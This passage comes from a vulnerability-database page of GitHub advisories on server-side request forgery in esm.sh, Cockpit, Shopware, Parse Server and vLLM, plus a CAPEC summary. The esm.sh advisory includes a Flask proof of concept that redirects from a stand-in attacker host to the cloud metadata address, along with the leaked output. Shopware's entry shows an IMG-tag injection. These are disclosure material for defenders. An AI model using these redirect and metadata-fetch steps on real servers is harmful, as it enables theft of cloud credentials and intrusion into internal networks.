".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/test.md')
def redirect_test():
    return redirect("http://169.254.169.254/v1.json", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

var t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p>
`,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13

https://github.com/doyensec/safeurl

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T15:19:41Z",
    "nvd_published_at": "2026-02-25T16:23:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/test.md\u0027)\ndef redirect_test():\n    return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`\u003cp\u003e\u0026lbrace;\u0026quot;bgp\u0026quot;:\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;\u0026rbrace;,\u0026quot;hostname\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instance-v2-id\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instanceid\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;interfaces\u0026quot;:[\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;gateway\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;netmask\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;routes\u0026quot;:[\u0026lbrace;\u0026quot;netmask\u0026quot;:32,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;\u0026rbrace;]\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;prefix\u0026quot;:\u0026quot;64\u0026quot;\u0026rbrace;,\u0026quot;mac\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network-type\u0026quot;:\u0026quot;public\u0026quot;\u0026rbrace;],\u0026quot;nvidia-driver\u0026quot;:[],\u0026quot;public-keys\u0026quot;:[\u0026quot;****\u0026quot;],\u0026quot;region\u0026quot;:\u0026lbrace;\u0026quot;countrycode\u0026quot;:\u0026quot;US\u0026quot;,\u0026quot;regioncode\u0026quot;:\u0026quot;SJC\u0026quot;\u0026rbrace;,\u0026quot;tags\u0026quot;:[]\u0026rbrace;\u003c/p\u003e\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl",
  "id": "GHSA-3c9r-837r-qqm4",
  "modified": "2026-02-27T20:56:15Z",
  "published": "2026-02-25T15:19:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh is vulnerable to full-response SSRF"
}

GHSA-3CG3-VQJF-X53X

Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20
VLAI
Details

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-9302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-02T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.",
  "id": "GHSA-3cg3-vqjf-x53x",
  "modified": "2022-05-14T03:20:03Z",
  "published": "2022-05-14T03:20:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9302"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44567"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/May/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3CPP-FV95-MPR5

Vulnerability from github – Published: 2025-10-21 18:02 – Updated: 2025-10-21 18:02
VLAI
Summary
Shopware vulnerable to Server-Side Request Forgery (SSRF) – order invoice
Details

Impact

This vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.

The overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.

Description

Server-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the organization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.

Applicability

The PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF) vulnerability. Administrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers. To exploit this vulnerability, an admin account is required.

Reproduction

To reproduce this vulnerability, the steps below can be followed. 1. Log in as an admin and navigate to the following URL: https://.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25&page=1&term=&sortBy&sortDirection=ASC&naturalSorting=false 2. Click the button ‘Create document’ and create a ‘Partial cancellation’ document. 3. As a comment add the following code:

<img src="<malicious image link>" width="250" height="100"/>
  1. Press the preview button to view the PFD.
  2. Observe that the image is shown in the PDF.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T18:02:52Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nThis vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.\n\nThe overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.\n\n#### Description\nServer-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the\norganization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.\n\n#### Applicability \nThe PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF)\nvulnerability.\nAdministrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers.\nTo exploit this vulnerability, an admin account is required.\n\n#### Reproduction\nTo reproduce this vulnerability, the steps below can be followed.\n1. Log in as an admin and navigate to the following URL:\nhttps://\u003cyour-site\u003e.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25\u0026page=1\u0026term=\u0026sortBy\u0026sortDirection=ASC\u0026naturalSorting=false\n2. Click the button \u2018Create document\u2019 and create a \u2018Partial cancellation\u2019 document.\n3. As a comment add the following code:\n```\n\u003cimg src=\"\u003cmalicious image link\u003e\" width=\"250\" height=\"100\"/\u003e\n```\n4. Press the preview button to view the PFD.\n5. Observe that the image is shown in the PDF.",
  "id": "GHSA-3cpp-fv95-mpr5",
  "modified": "2025-10-21T18:02:52Z",
  "published": "2025-10-21T18:02:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-3cpp-fv95-mpr5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/f32737b34798d4800b81c67efee17905380d2be4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopware vulnerable to Server-Side Request Forgery (SSRF) \u2013 order invoice"
}

GHSA-3F5F-XGRJ-97PF

Vulnerability from github – Published: 2025-12-16 22:35 – Updated: 2026-01-07 14:54
VLAI
Summary
Parse Server is vulnerable to Server-Side Request Forgery (SSRF) via Instagram OAuth Adapter
Details

Impact

The Instagram authentication adapter allows clients to specify a custom API URL via the apiURL parameter in authData. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users.

Patches

Fixed by hardcoding the Instagram Graph API URL https://graph.instagram.com and ignoring client-provided apiURL values.

Workarounds

None.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.1.1-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T22:35:40Z",
    "nvd_published_at": "2025-12-16T19:16:00Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThe Instagram authentication adapter allows clients to specify a custom API URL via the `apiURL` parameter in `authData`. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users.\n\n## Patches\n\nFixed by hardcoding the Instagram Graph API URL `https://graph.instagram.com` and ignoring client-provided `apiURL` values.\n\n## Workarounds\n\nNone.",
  "id": "GHSA-3f5f-xgrj-97pf",
  "modified": "2026-01-07T14:54:59Z",
  "published": "2025-12-16T22:35:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-3f5f-xgrj-97pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9989"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server is vulnerable to Server-Side Request Forgery (SSRF) via Instagram OAuth Adapter"
}

GHSA-3F6C-7FW2-PPM4

Vulnerability from github – Published: 2025-10-07 22:14 – Updated: 2025-10-27 20:00
VLAI
Summary
vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.

This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.

Vulnerability Details

The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).

https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113

The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.

  • HTTP/HTTPS Scheme: An attacker can craft a request like {"image_url": "http://127.0.0.1:8080/internal_api"}. The vLLM server will send a GET request to this internal endpoint.
  • File Scheme: The _load_file_url method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.

Impact in llm-d Environments

The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.

  1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.

  2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.

  3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.

Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.

Fix

See the --allowed-media-domains option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:14:15Z",
    "nvd_published_at": "2025-10-07T20:15:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the `MediaConnector` class within the vLLM project\u0027s multimodal feature set. The `load_from_url` and `load_from_url_async` methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.\n\nThis vulnerability is particularly critical in containerized environments like `llm-d`, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal `llm-d` management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.\n\n### Vulnerability Details\n\nThe core of the vulnerability lies in the `MediaConnector.load_from_url` method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).\n\nhttps://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113\n\nThe function directly processes URLs with `http`, `https`, and `file` schemes. An attacker can supply a URL pointing to an internal IP address or a `localhost` endpoint. The vLLM server will then initiate a connection to this internal resource.\n\n* **HTTP/HTTPS Scheme:** An attacker can craft a request like `{\"image_url\": \"http://127.0.0.1:8080/internal_api\"}`. The vLLM server will send a GET request to this internal endpoint.\n* **File Scheme:** The `_load_file_url` method attempts to restrict file access to a subdirectory defined by `--allowed-local-media-path`. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.\n\n### Impact in `llm-d` Environments\n\nThe risk is significantly amplified in orchestrated environments such as `llm-d`, where multiple pods communicate over an internal network.\n\n1.  **Denial of Service (DoS):** An attacker could target internal management endpoints of other services within the `llm-d` cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.\n\n2.  **Internal Network Reconnaissance:** Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like `http://10.0.0.X:PORT` and observing the server\u0027s response time or error messages.\n\n3.  **Interaction with Internal Services:** Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.\n\nDelegating this security responsibility to an upper-level orchestrator like `llm-d` is problematic. **The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.**\n\n### Fix\n\nSee the `--allowed-media-domains` option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls",
  "id": "GHSA-3f6c-7fw2-ppm4",
  "modified": "2025-10-27T20:00:22Z",
  "published": "2025-10-07T22:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-3f6c-7fw2-ppm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/9d9a2b77f19f68262d5e469c4e82c0f6365ad72d"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-6242"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2373716"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.